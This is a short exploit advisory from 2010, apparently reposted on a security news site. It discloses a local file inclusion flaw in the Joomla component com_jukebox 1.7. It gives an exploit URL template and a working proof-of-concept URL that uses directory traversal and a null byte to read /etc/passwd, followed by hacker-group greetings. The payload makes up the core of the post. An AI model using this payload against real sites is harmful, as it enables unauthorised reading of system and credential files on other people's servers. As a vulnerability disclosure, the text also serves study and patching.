Joomla Component Juke Box com_jukebox Local File Inclusion Vulnerability

=============================================================================================================

[o] Joomla Component Juke Box Local File Inclusion Vulnerability

Software : com_jukebox version 1.7

Vendor : http://www.jooforge.com/

Author : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]

Contact : public[dot]antisecurity[dot]org

Home : http://antisecurity.org/

=============================================================================================================

[o] Exploit

http://localhost/[path]/index.php?option=com_jukebox&controller=[LFI]

[o] PoC

http://localhost/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00

=============================================================================================================

[o] Greetz

Angela Zhang stardustmemory aJe martfella pizzyroot Genex

H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti

skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

=============================================================================================================

Post Published: 06 April 2010
Author: Georges Kut
Found in section: Security

Tags: joomla

Previous Topic: Joomla Component Joomla Flickr com_joomlaflickr Local File Inclusion Vulnerability

Next Topic: Foxit Reader <= 3.2.1.0401 Denial Of Service Exploit

News.Dreamings.Org